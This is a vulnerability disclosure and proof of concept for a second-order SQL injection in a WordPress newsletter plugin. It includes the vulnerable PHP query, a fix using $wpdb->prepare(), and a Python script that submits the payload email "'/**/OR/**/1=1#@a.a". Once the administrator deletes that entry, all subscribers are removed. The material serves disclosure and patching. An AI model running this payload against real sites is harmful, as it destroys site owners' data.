
PoC of CVE-2025-24587
WordPress plugin
Component name Email Subscription Popup
Vulnerable version <= 1.2.23
Component slug email-subscribe
Component link https://wordpress.org/plugins/email-subscribe/
Vulnerability class A3: Injection
Vulnerability type SQL Injection
Unauthenticated
An unauthorized user (attacker) subscribes to the newsletter using an email address containing an SQL Injection payload. Later, when the administrator navigates to the "Subscriber Management" page, selects the malicious email address, and requests deletion, the SQL Injection payload embedded in the email address is executed. As a result, all subscribed email addresses are deleted from the database.
poc.py.txt file (attached) using Python to subscribe to the newsletter with an email address containing a payload that triggers the SQL Injection vulnerability:
'/**/OR/**/1=1#@a.ahttp://localhost:8080/wp-admin/admin.php?page=email_subscription_popup_subscribers_management.'/****/**OR**/****/1=1#@a.a and click the "Delete Selected Subscribers" button at the bottom.[Cause of Vulnerability]
This vulnerability occurs in the file wp-content/plugins/email-subscribe/wp-email-subscription.php, specifically between lines 2080 and 2084:
# wp-content/plugins/email-subscribe/wp-email-subscription.php 의
# line 2083 ~ line 2084
$query = "delete from " . $wpdb->prefix . "nl_subscriptions where email='$em'";
$wpdb->query($query);
To resolve this issue, you can use $wpdb->prepare() provided by WordPress. This function safely escapes and formats variables used in SQL queries to prevent SQL injection attacks.
$query = $wpdb->prepare(
"DELETE FROM " . $wpdb->prefix . "nl_subscriptions WHERE email = %s",
$em
);
$wpdb->query($query);
import re
import string
import random
import requests
TARGET = "http://localhost:8080"
def poc():
####
# 1. Retrieve the value of 'sec_string' required for email subscription
####
resp = requests.get(f"{TARGET}")
pattern = r'var nonce = \'(.{10})\';'
match = re.search(pattern, resp.text)
if match:
sec_string = match.group(1)
print("[*] sec_string: " + sec_string)
####
# 2. Generate subscribers with random email addresses
####
random_string = ''.join(random.choices(string.ascii_letters + string.digits, k=6))
for i in range(10):
data = {
"action": "store_email",
"email": f"{random_string}_{i}@example.com",
"name": f"{random_string}_{i}",
"is_agreed": "true",
"sec_string": sec_string
}
print("[+] Successfully created subscriber #" + str(i) + " Email: " + data['email'] + ", Name: " + data['name'])
requests.post(f"{TARGET}/wp-admin/admin-ajax.php", data=data)
####
# 3. Create a malicious email address to delete all subscriptions
####
data = {
"action": "store_email",
"email": "'/**/OR/**/1=1#@a.a",
"name": "Email mine",
"is_agreed": "true",
"sec_string": sec_string
}
print("[+] Malicious email address created Email: " + data['email'] + ", Name: " + data['name'])
requests.post(f"{TARGET}/wp-admin/admin-ajax.php", data=data)
else:
print("[-] 'sec_string' not found")
if __name__ == "__main__":
poc()